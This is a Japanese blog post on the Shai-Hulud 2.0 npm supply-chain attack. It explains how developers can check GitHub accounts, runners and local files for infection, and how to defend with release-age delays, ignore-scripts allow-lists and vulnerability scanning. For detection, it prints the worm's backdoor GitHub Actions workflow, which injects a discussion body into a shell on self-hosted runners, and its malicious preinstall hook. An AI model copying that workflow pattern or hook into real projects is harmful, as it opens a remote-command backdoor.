🐛

【npm】11月24日以降にnpm installした人へ - Shai-Hulud感染チェック & 多層防御ガイド

に公開

npm史上最悪のサプライチェーン攻撃「Shai-Hulud 2.0」。正規パッケージのメンテナー認証情報を盗み、悪意あるバージョンをnpmに公開するという手口で、11月21日から急速に拡散しました。

この記事では2つのことを解説します:

  1. 自分が被害にあっていないか確認する方法
  2. 今後の被害を防ぐ多層防御アプローチ

*この記事と同じ内容を動画でも解説していますので、動画の方が好きな方は下記からどうぞ
https://youtu.be/WcFYrVReIe8?si=Pq_pcvJc8IbI8hd6


被害確認 - あなたは大丈夫か?

Shai-Hulud 2.0は11月21日から急速に拡散しました。この日以降にnpm installを実行した人は、感染の可能性があります。

チェック1: GitHubアカウントの確認(ブラウザで完結)

確認ポイント1: 見覚えのないリポジトリ

まずGitHubで自分のリポジトリ一覧を確認。

Shai-Huludは感染したアカウントにランダムな名前のパブリックリポジトリを作成し、窃取した認証情報を公開します。

https://github.com/[あなたのユーザー名]?tab=repositories

descriptionに「Sha1-Hulud: The Second Coming」という文字列が含まれていたら確実にアウトです。これは攻撃者が窃取した認証情報を公開する際に付ける名前。


上記はアウトな例。不審なレポジトリがないかチェックしましょう。

確認ポイント2: 不審なワークフローファイル

GitHubのコード検索で、自分のリポジトリ内に discussion.yaml がないか確認。

https://github.com/search?q=owner%3A[あなたのユーザー名や組織名]+path%3A.github%2Fworkflows%2Fdiscussion.yaml&type=code

この discussion.yaml は感染時にGithub Actionsに追加されるワークフローです。被害者のマシンはCI/CDランナーが多いとのことで、メインの被害はこちらですので、確実にチェックしておいた方が良いでしょう

不審なファイルがあったらアウトです。セルフホストランナー経由で任意のコマンドを実行するためのバックドアですが設置されています。

具体的には下記のようなワークフローでGithub リポジトリでディスカッションを開始することで、感染したマシン上で任意のコマンドを実行できるようになるファイルが確認されています。

name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}

確認ポイント3: セルフホストランナー

各リポジトリの Settings → Actions → Runners を開いて、「SHA1HULUD」という名前のセルフホストランナーが登録されていないか確認。

ここに自分のPCがあったら感染しています。即座に削除して、全認証情報をローテーションしてください。


チェック2: ローカル環境の確認

npmプロジェクトがある開発ディレクトリ等で以下のファイルを検索。

ファイル名 説明
setup_bun.js ドロッパー
bun_environment.js メインペイロード(10MB以上の難読化ファイル)
cloud.json AWS/GCP/Azure認証情報
environment.json 環境変数
actionsSecrets.json GitHub Actions シークレット

これらはShai-Hulud 2.0のペイロードが生成するファイルです。見つかったら感染したパッケージをインストールしているということになります。

find ./ -name "setup_bun.js" -o -name "bun_environment.js" \
  -o -name "cloud.json" -o -name "actionsSecrets.json" 2>/dev/null

チェック3: npmパッケージの確認(パッケージ公開者向け)

個人や会社でnpmにパッケージを公開している場合、パッケージのバージョン履歴を確認しましょう。
2025 年 11 月 21 日以降に、公開した覚えのないバージョンがないか?

npm view [あなたのパッケージ名] time

公開時刻が出るので、身に覚えのない時刻のものがあれば要注意。


被害が確認できた場合

即座に以下を実行:

  1. 全トークンのローテーション - npm、GitHub、AWS、GCP、Azureなど
  2. 不審なリポジトリの削除
  3. セルフホストランナーの削除
  4. ワークフローファイルの削除
  5. プライベートリポジトリの公開設定確認 - 強制的にパブリック化されていないか

防御方法 - 多層防御アプローチ

Shai-Hulud型攻撃の特徴:

  • 正規パッケージのメンテナー認証情報が盗まれる
  • 悪意あるバージョンがnpmに公開される
  • 既存ユーザーがnpm install / npm updateで感染する

つまり、これまで普通に使用していたライブラリが突然攻撃の入口に変わるということです。

考え方としては、

  1. 入れない - 怪しいパッケージをそもそもインストールさせない
  2. 実行させない - 入ってしまっても悪意あるコードを動かさない
  3. 見逃さない - 既知の脆弱性を継続的に検知する

下記の3層で考え、守り方をみていきます。

対策 内容 防御対象
層1 入れない minimum-release-age ゼロデイ攻撃
層2 実行させない ignore-scripts 悪意あるスクリプト実行
層3 見逃さない SCAツール 既知の脆弱性

層1: minimum-release-age - ゼロデイ対策

SCAツールは「既知の脆弱性」しか検知できない。

誰かが脆弱性を発見して、Advisoryを発行して、データベースに登録されて初めて検知できる。

Shai-Huludのようなゼロデイ攻撃は? 攻撃が発覚するまでSCAツールは無力。

じゃあどうするか? 時間を味方につける。

pnpmユーザー向け: minimumReleaseAge

pnpm-workspace.yaml にこの設定を追加:

minimumReleaseAge: 2880

これは例ですが、「公開から2880分(2日)経ってないバージョンはインストール拒否」という設定。値は分単位で指定。

なぜこれがゼロデイ対策になるか?

Shai-Hulud 2.0を例に考えてください。攻撃が発覚するまで数日でした。悪意あるパッケージは、多くのケースで公開から数日以内にコミュニティやセキュリティ研究者が発見します。

2,3日待てば、多くの攻撃は既に検知・公表されている。Advisoryも発行されている可能性が高い。

つまり、数日間のバッファを設けることで、「ゼロデイ期間」を避けられる。

npm/yarn/bunユーザー向け: Aikido Safe Chain

「pnpm使ってないんだけど」という人。

Aikido Safe Chain があります。npm、yarn、pnpm、bun全てに対応。

# インストール
npm install -g @aikidosec/safe-chain

# シェル統合のセットアップ
safe-chain setup

# ターミナル再起動後、通常通りnpmを使うだけ
npm install express

Aikido Safe Chainは2つの機能を持っています:

  1. 24時間ルール: デフォルトで公開から24時間以内のパッケージはインストールをブロック(もちろん設定で24時間以外に設定することも可能です。)
  2. マルウェア検知: Aikido Intelデータベースに対してリアルタイムで検証

無料で、トークンも不要で簡単に使えますし、CI/CDにも簡単に組み込めます。

- name: Setup safe-chain
  run: |
    npm i -g @aikidosec/safe-chain
    safe-chain setup-ci

- name: Install dependencies
  run: npm ci

層2: ignore-scripts - 最終防衛線

minimum-release-ageで待っても、攻撃が発覚しなかったら?
緊急で新しいバージョンをインストールしなければならなかったら?

このようなケースでどうしても悪意のあるライブラリが入ってしますケースはあるかと思います。そのときの最終防衛線が ignore-scripts

Shai-Hulud 2.0は preinstallスクリプトを起点として感染します。

{
  "scripts": {
    "preinstall": "node setup_bun.js"
  }
}

npm installを実行した瞬間、悪意のあるコードがあなたのマシンで実行されるわけですが、.npmrc

ignore-scripts=true

の設定を追加することで、たとえ悪意あるパッケージをインストールしてしまっても、preinstallスクリプトは動きません。パッケージのコードは入るけど、実行はされないというわけです。

これが最終防衛線。

この設定は下記の OWASPが公開しているNPMベストプラクティスというドキュメントにも記載されています。
OWASP NPM Security Cheat Sheet


「でもネイティブモジュールのビルドは?」

「ignore-scriptsを有効にしたら、ネイティブモジュールが動かなくなるのでは?」

bcrypt、sqlite3、sharpなどのネイティブモジュールは、postinstallスクリプトでC/C++コードをコンパイルします。これらは確かにスクリプト実行が必要です。

しかし、実はnpmレジストリのほとんどのパッケージはインストールスクリプトを必要としません

解決策は「ホワイトリスト方式」。デフォルトで全てブロックし、必要なパッケージだけ許可するというアプローチです。


ホワイトリスト方式の実装

pnpm v10の場合(デフォルトで安全)

pnpm v10から、依存パッケージのライフサイクルスクリプトはデフォルトで実行されなくなりました

  • 自分のプロジェクトのスクリプト → 実行される
  • 依存パッケージのスクリプト → デフォルトで実行されない

ネイティブモジュールを使う場合は、package.json で許可するパッケージを指定:

{
  "pnpm": {
    "onlyBuiltDependencies": ["esbuild", "sharp"]
  }
}
npmの場合(@lavamoat/allow-scripts)

npmで同じことをやるには、@lavamoat/allow-scripts を使います。OWASP NPM Security Cheat Sheetでも紹介されている方法です。

npm install @lavamoat/allow-scripts
{
  "lavamoat": {
    "allowScripts": {
      "sharp": true,
      "bcrypt": true
    }
  }
}

層3: SCAツール - 既知の脆弱性を検知する

OSV-Scanner

OSV-Scanner は、Googleが運営するOSV(Open Source Vulnerabilities)データベースを使った脆弱性スキャナー。

npm auditと何が違うか?

npm auditはnpmのAdvisory DBしか見ません。OSV-Scannerは、GitHub Advisory、NVD、その他複数のソースを統合したデータベースを使います。カバー範囲が広い。

しかも完全にオープンソースで無料。

# インストール
brew install osv-scanner

# スキャン
osv-scanner --lockfile package-lock.json

CI/CDに組み込むのも簡単:

- name: Run OSV-Scanner
  uses: google/osv-scanner-action@v1
  with:
    scan-args: --lockfile package-lock.json

プルリクエストごとにスキャンを走らせれば、脆弱性のあるパッケージがマージされる前に検知できます。


まとめ

やることは3つ:

優先度 対策 ツール
1 新しすぎる or 怪しいパッケージをブロック Aikido Safe Chain
2 インストールスクリプトを無効化 npm: ignore-scripts + @lavamoat/allow-scripts
pnpm v10: デフォルト
3 継続的にスキャン OSV-Scanner

完璧な防御は存在しませんが、いくつかの対策を組み合わせることで攻撃の可能性を大幅に減らすことができます。


最後までお読みいただきありがとうございました。

セキュリティを意識した開発方法を身につけていくための情報発信していますので、フォローよろしくお願いします!!

X: https://twitter.com/labelmake
Youtube: https://www.youtube.com/@kyohei_dev

それでは良きプログラミングライフを👋


参考リンク

Discussion